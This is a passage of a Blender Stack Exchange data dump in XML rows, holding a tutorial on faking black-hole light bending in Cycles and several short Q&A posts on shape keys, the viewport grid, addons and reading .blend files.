shader.&#xA;We need to make light bend continuously, sort of as if it's in a medium with a changing IOR. However we can only change it's direction at a surface.&lt;/p&gt;&#xA;&lt;p&gt;To visualize the difference, take this example image.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The inner circle represents the event horizon, from which no light can escape (i.e. the black part).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The outer circle represents the approximate distance at which the bending of light becomes noticeable. In the version on the left this circle represents a refracting sphere as &lt;a href=&quot;https://blender.stackexchange.com/a/21014/599&quot;&gt;described by Nightshade&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The lines represent the paths of light rays as they travel near the black hole.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; While thinking of how to set up some kind of material or effect, it's often useful to think of the scene in the same way that the render engine does. Cycles is a backwards path tracer, meaning it traces rays from the camera out into the scene. So try thinking of these rays in the same way&lt;/em&gt;.&lt;br /&gt;&#xA;&lt;sup&gt;&lt;em&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/5820/599&quot;&gt;How is Cycles different from Blender Internal?&lt;/a&gt; for more info on the workings of cycles.&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2UPCD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;Example is only a rough hand made visualization, not accurate.&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, rays which hit the refracting sphere are bent all at once at a single point, then continue going straight. It's more like a &amp;quot;direction change&amp;quot; than a curve.&lt;/p&gt;&#xA;&lt;p&gt;One way to get around this problem is to use a lot of refracting surfaces (black lines) which change the direction the ray (yellow line) a little bit at a time, resulting in an approximation of a smooth curve:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YIEWB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To procedurally create such an object:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a single edge.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Add a plane (&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&amp;gt; Mesh &amp;gt; Plane&lt;/em&gt;), then switch to edit mode (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;), rotate it 90° around the X axis (&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;), and scale it to 0 on the Z (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;). Remove doubles by pressing &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Remove Doubles(&lt;/em&gt;&lt;kbd&gt;R&lt;/kbd&gt;&lt;em&gt;)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5UaA5.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;In object mode (&lt;kbd&gt;↹ Tab&lt;/kbd&gt;), add an empty (&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Empty&lt;/em&gt;) and rotate it a small amount around the Z (I rotated mine by -2°).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/array.html#array-modifier&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Array&lt;/em&gt; modifier&lt;/a&gt; to the line object:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/68roB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The number for the array modifier &lt;em&gt;Count&lt;/em&gt; can be determined like this:&lt;br /&gt;&#xA;&lt;code&gt;360 / absolute_value(empty_rotation) / 4 + 1&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which gives &lt;code&gt;46&lt;/code&gt; when &lt;code&gt;empty_rotation = 3&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To add more surfaces and increase the accuracy (and rendertimes!) of the approximation, rotate the empty less and adjust the array count accordingly.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/modeling/modifiers/generate/screw.html#screw-modifier&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Screw&lt;/em&gt; modifier&lt;/a&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3o6fa.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;It should look like a strange sort of half-sphere.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add the hole itself by adding a sphere at the center of the front most surface of the half-sphere (&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Sphere&lt;/em&gt;):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Y43n.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the material, give it a diffuse shader set to black. This will totally absorb any light which hits it, so zero light will be reflected off of it, making it completely black.&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Add a material to the half-sphere.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hlssl.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I've used a spherical &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/gradient.html#gradient-texture-node&quot; rel=&quot;noreferrer&quot;&gt;gradient texture&lt;/a&gt; to control the &lt;a href=&quot;http://en.wikipedia.org/wiki/Refractive_index&quot; rel=&quot;noreferrer&quot;&gt;IOR&lt;/a&gt; in order to make light bend more when closer to the center, and less when farther from the center.&lt;br /&gt;&#xA;&lt;sup&gt;This is a very approximate and artistic approach, not very accurate by any means.&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;If the scale of your object is (&lt;code&gt;1,1,1&lt;/code&gt;), the &lt;em&gt;Scale&lt;/em&gt; of the mapping node should be set to the diameter of the half-sphere object in BU. This way the gradient texture &lt;em&gt;just&lt;/em&gt; fades to black before the edge of the half-sphere object:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tVqKD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;To quickly preview nodes in a material, enable the&lt;/em&gt; Node Wrangler &lt;em&gt;addon in&lt;/em&gt; User preferences &amp;gt; Add-ons, &lt;em&gt;then&lt;/em&gt; &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot; /&gt; LMB&lt;/kbd&gt; &lt;em&gt;on any node to quickly connect it to a &amp;quot;preview&amp;quot; emission shader&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In my case the diameter is 5 BU, as can be seen with &lt;em&gt;Length&lt;/em&gt; enabled in &lt;em&gt;3D view &amp;gt; Properties region (&lt;/em&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;em&gt;) &amp;gt; Mesh display&lt;/em&gt; while in edit mode:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1myih.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;Map Range&lt;/em&gt; node is a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/shader_nodes/textures/gradient.html#gradient-texture-node&quot; rel=&quot;noreferrer&quot;&gt;node-group&lt;/a&gt; which I created based on the implementation in the compositor:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6IPD.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;em&gt;To Max&lt;/em&gt; and &lt;em&gt;To Min&lt;/em&gt; values can be adjusted to control the maximum and minimum amounts of refraction. Setting &lt;em&gt;To Max&lt;/em&gt; to a higher value will result in more distortion.&lt;/p&gt;&#xA;&lt;p&gt;Remember to set the color of the refraction node to pure white, so light doesn't get absorbed while bending through the refraction object.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As each ray will have to go through many surfaces, make sure the maximum bounces is set high enough in &lt;em&gt;Render settings &amp;gt; Light paths&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F2MDm.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You may want to disable the effects of the refraction object on other objects, as they won't be correct. Light is only bent the way we want it when it enters through the front (thinking in terms of backwards tracing). If a ray bounces off another object and then hits the refraction object from the side, it won't bend anywhere near how it should.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Of course, it's not any more correct to just disable it, but this should help with rendertimes a bit if there are lots of other objects in your scene.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XqzNp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/render_settings/light_paths.html?#light-paths&quot; rel=&quot;noreferrer&quot;&gt;manual&lt;/a&gt; for more detail on ray types.&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Make the black hole always face the camera.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now our light bending setup is almost complete, but for it to work properly it must rotate so only the front is visible to the camera.&lt;/p&gt;&#xA;&lt;p&gt;To do this, add another empty (&lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Empty &amp;gt; Sphere&lt;/em&gt;) and parent the refraction object, array empty, and diffuse sphere to it with &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XtyL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/constraints/transform/copy_rotation.html#copy-rotation-constraint&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Copy Rotation&lt;/em&gt; constraint&lt;/a&gt; to the empty, with your camera object as the target. You may need to enable &lt;em&gt;Offset&lt;/em&gt; and rotate the empty in order to get the flat side of the half-sphere face the camera:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IM5bs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;If you're wondering why we're not using a Track To constraint, see &lt;a href=&quot;https://blender.stackexchange.com/q/7757/599&quot;&gt;Planes rotating to face the camera, but only along one axis&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://gfycat.com/welldocumentedfaithfulamericancrayfish&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H0hWH.gif&quot; alt=&quot;Animated black hole&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note that this only covers the lensing part of the black hole. I'll leave the &lt;a href=&quot;http://en.wikipedia.org/wiki/Black_hole#Accretion_of_matter&quot; rel=&quot;noreferrer&quot;&gt;high-energy matter&lt;/a&gt; and the &lt;a href=&quot;http://en.wikipedia.org/wiki/Accretion_disc&quot; rel=&quot;noreferrer&quot;&gt;accretion disk&lt;/a&gt; to you, as I wouldn't want to take &lt;strong&gt;all&lt;/strong&gt; the fun away ;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/1/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2021-03-07T21:44:57.970" LastActivityDate="2021-03-07T21:44:57.970" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
  <row Id="23575" PostTypeId="2" ParentId="10782" CreationDate="2015-01-21T21:48:33.140" Score="3" Body="&lt;p&gt;A better way to do it that saves you the trouble of having to re-enter all of your cloth settings and loosing all of your bakes is to use the &quot;create duplicate for editing&quot; option on the dropdown menu to the right of the object's list of shape keys. (The black downward arrow below the plus and minus buttons)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This creates a freeze frame duplicate of the object exactly as it looks on screen. Now you select both the duplicate mesh and your original (you want to do it in that order so the original is your active mesh) and use the &quot;join as shapes&quot; option in the same dropdown menu as before. Ta-da: new shape key.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're free to delete the duplicate at this point, or you can keep tweaking the duplicate and adding new shape keys to the original. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you have any subdivide, solidify, decimate, or remesh options turned off when you make the duplicate, or the vertex count won't match and you won't be able to apply the shape. If you want to make any tweaks to the duplicate you can do so. Sculpt, edit, apply modifiers, turn it inside out...as long as you don't add or subtract any vertices you can do whatever you want to the duplicate and it will still apply back perfectly with no fuss. Deleting one vertex and adding another for the same total will still mess this up because it changes the number tags on the vertices, but subdivide/multires is okay as long as you turn them back off at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same trick works for any deformer, not just cloth. Its also extremely useful for making corrective shape keys, making shape keys out of entire stacks of modifers in two steps, and giving yourself some idiot proofing while reducing lag by letting you sculpt on a clean duplicate rather than your precious master copy with thirty shape keys floating in your cache.&lt;/p&gt;&#xA;" OwnerUserId="11127" LastEditorUserId="11127" LastEditDate="2015-01-21T21:55:06.517" LastActivityDate="2015-01-21T21:55:06.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23577" PostTypeId="2" ParentId="23508" CreationDate="2015-01-21T22:27:26.553" Score="2" Body="&lt;p&gt;The knife tool is in 2.62, however it's nothing like the modern knife tool. It was &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh#Knife&quot; rel=&quot;nofollow noreferrer&quot;&gt;rewritten into it's modern form in 2.63&lt;/a&gt; with the introduction of bmesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.63/BMesh#Bevel&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bevel tool was also added in 2.63&lt;/a&gt;, after being missing since 2.5x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However both these tools (and many others) have been improved &lt;em&gt;enormously&lt;/em&gt; since then, so &lt;a href=&quot;https://blender.stackexchange.com/q/6744/599&quot;&gt;I highly recommend updating to the latest version&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-01-21T22:27:26.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23578" PostTypeId="2" ParentId="23318" CreationDate="2015-01-21T22:43:18.807" Score="5" Body="&lt;p&gt;You can select one of the end edges and hold down &lt;kbd&gt;F&lt;/kbd&gt; with your cursor on the side of the edge towards which you want to fill:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTRBV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-21T22:43:18.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23579" PostTypeId="2" ParentId="23524" CreationDate="2015-01-21T23:14:46.630" Score="5" Body="&lt;p&gt;You need to decrease the &lt;em&gt;Step Size&lt;/em&gt; in &lt;em&gt;Properties &gt; Materials &gt; Integration &gt; Step Calculation&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3fEew.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RjysN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-21T23:14:46.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23580" PostTypeId="2" ParentId="23506" CreationDate="2015-01-21T23:19:10.200" Score="1" Body="&lt;p&gt;I went with the delete all but the outermost option (well, I kept two layers of the four you had). You have a circular opening in the top of the inside of the helmet. Select all the faces of its rim. I used circle (&lt;kbd&gt;C&lt;/kbd&gt;) select for this and panned around until all were selected.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zMTv0.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete these faces (&lt;kbd&gt;X&lt;/kbd&gt; then &lt;kbd&gt;F&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BQ4Va.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select one face on the unwanted geometry&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZkHNt.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select linked (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lG5Za.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete everything that's selected (&lt;kbd&gt;X&lt;/kbd&gt; then &lt;kbd&gt;F&lt;/kbd&gt;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zORHH.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It now looks like this (with all selected, zoomed out and limit selection to visible disabled)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4M88w.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-01-21T23:38:26.140" LastActivityDate="2015-01-21T23:38:26.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23581" PostTypeId="1" AcceptedAnswerId="23585" CreationDate="2015-01-21T23:24:59.753" Score="20" ViewCount="66397" Body="&lt;p&gt;I'd like to ask about grid lines in orthographic views. Can we somehow disable them from drawing? Right now I have to turn on &quot;Render Only&quot; which is not the best solution.&lt;/p&gt;&#xA;" OwnerUserId="849" LastEditorUserId="12" LastEditDate="2015-01-22T01:01:59.517" LastActivityDate="2019-11-30T06:03:33.353" Title="Is there a way to disable the grid in orthographic view?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;customization&gt;" AnswerCount="8" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23582" PostTypeId="2" ParentId="23517" CreationDate="2015-01-21T23:29:26.790" Score="6" Body="&lt;p&gt;Blender searches for addons in &lt;a href=&quot;https://docs.blender.org/manual/en/dev/getting_started/installing/configuration/directories.html#macos&quot; rel=&quot;nofollow noreferrer&quot;&gt;three places&lt;/a&gt;, one of which is &lt;code&gt;/Users/{user}/Library/Application Support/Blender/2.72/&lt;/code&gt;. If your addon is already there, then it is &quot;installed&quot;.&lt;br&gt;&#xA;The &lt;em&gt;install from file&lt;/em&gt; button in the user preferences essentially just copies files into this directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't see the addon listed in the user preferences, then there may be something wrong with the addon. Try starting blender from a terminal and see if there are any error messages.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorDisplayName="user1853" LastEditDate="2018-06-19T23:05:22.193" LastActivityDate="2018-06-19T23:05:22.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23583" PostTypeId="2" ParentId="23581" CreationDate="2015-01-21T23:37:51.973" Score="5" Body="&lt;p&gt;&lt;em&gt;I misread the question, thinking that the OP wanted to hide the grid visible in aligned views like&lt;/em&gt; Top&lt;i&gt;,&lt;/i&gt; Side&lt;i&gt;,&lt;/i&gt; Front&lt;i&gt;,&lt;/i&gt; &lt;em&gt;etc. If this is not the case, then &lt;a href=&quot;https://blender.stackexchange.com/a/23589/599&quot;&gt;David's answer&lt;/a&gt; is the optimal solution.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;One hack you can do is change the 3D view grid color to match the background color, by copy/pasting the colors in &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Themes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwCWG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it's not possible to get rid of the axis lines in the same way, as their color is controlled by a single global preference which affects the axis colors everywhere.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-01-22T02:16:37.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23584" PostTypeId="1" AcceptedAnswerId="23591" CreationDate="2015-01-21T23:38:29.700" Score="7" ViewCount="6405" Body="&lt;p&gt;So, I'm well aware you can export a .blend file to a .obj and read that with pretty standard file i/o in c++. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is how to un-obfuscate a .blend file AND &lt;/p&gt;&#xA;&#xA;&lt;p&gt;read in the information in the file as text or python code if possible&#xA;OR just know how a .blend file is structured or how blender stores data and compiles the .blend, and in what order like the data types and data structures stored&lt;/p&gt;&#xA;&#xA;&lt;p&gt;because I want to access the information for the materials used, the animations key frames, the composition of the scene, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: well so far I've found these useful sources &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.raginggazebo.com/computer-science-topics-blogs/parsing-blender-3d-files-blend-1-of-3&quot; rel=&quot;nofollow&quot;&gt;Parsing a blend file by Raging Gazebo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.atmind.nl/blender/mystery_ot_blend.html&quot; rel=&quot;nofollow&quot;&gt;The mystery of the blend file by Jeroen Bakker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.atmind.nl/blender/blender-sdna-256.html&quot; rel=&quot;nofollow&quot;&gt;plus, his breakdown of the SDNA for v2.56&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://git.blender.org/gitweb/gitweb.cgi/blender.git/tree/1b1a6e0c9298166fee40ebb9b254f973879017bd:/source/blender/blenloader/intern&quot; rel=&quot;nofollow&quot;&gt;And this from github for blender file reading linked by user2859&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;haven't found everything i'm looking but this was a lot of help so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: there may have been important information one &lt;a href=&quot;http://www.blender.org/development/architecture/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but now it's gone anyone know where the blender team moved it to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: i gave up trying to parse the file just did an exporter in blender's python script, i got it to export the mesh data so far in an obj like format, now working on extracting the animation data. i'm using the api ref in mike's answer. &lt;/p&gt;&#xA;" OwnerUserId="11130" LastEditorUserId="11130" LastEditDate="2015-01-29T01:59:41.143" LastActivityDate="2016-12-08T12:10:56.750" Title="How would you go about reading a .blend file? I mean all of a .blend file, not just the .obj information" Tags="&lt;blend-files&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="13" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23585" PostTypeId="2" ParentId="23581" CreationDate="2015-01-22T00:52:27.680" Score="18" Body="&lt;p&gt;Open the side panel by pressing &lt;kbd&gt;&lt;strong&gt;N&lt;/strong&gt;&lt;/Kbd&gt; and on &lt;strong&gt;Display&lt;/strong&gt; controls just bring down the number of &lt;strong&gt;Lines&lt;/strong&gt; to 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IzIDa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7FsLs.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-01-22T12:32:04.010" LastActivityDate="2015-01-22T12:32:04.010" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23587" PostTypeId="1" CreationDate="2015-01-22T01:21:30.567" Score="6" ViewCount="1453" Body="&lt;p&gt;I have seen a &lt;a href=&quot;https://www.youtube.com/watch?v=vMwHC2-24vI#t=88&quot;&gt;video&lt;/a&gt; where it look like you can take an HDRI spherical background and use it as the background in the view port. It even rotates with the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how do I set this up? I have even gone as far as pause the video but I do not seem to have the right &quot;Nodes.&quot; Where is this world node? Where is this texture coordinates node? I am using cycles engine. Is there a step by step for version 2.73 that shows how to set this up and show in the view port?&lt;/p&gt;&#xA;" OwnerUserId="11131" LastEditorUserId="2217" LastEditDate="2015-01-22T01:36:15.700" LastActivityDate="2015-01-22T16:25:17.517" Title="HDRI / Spherical Images display in view port?" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23588" PostTypeId="2" ParentId="23587" CreationDate="2015-01-22T01:25:45.113" Score="4" Body="&lt;p&gt;You can access the world nodes through the planet icon. You then need to add an Environment Texture to the color of the background node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w6dx0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add nodes by using &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt;&gt;&lt;em&gt;Search&lt;/em&gt; if you don't know where the node is in the menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H0KOi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-01-22T16:25:17.517" LastActivityDate="2015-01-22T16:25:17.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
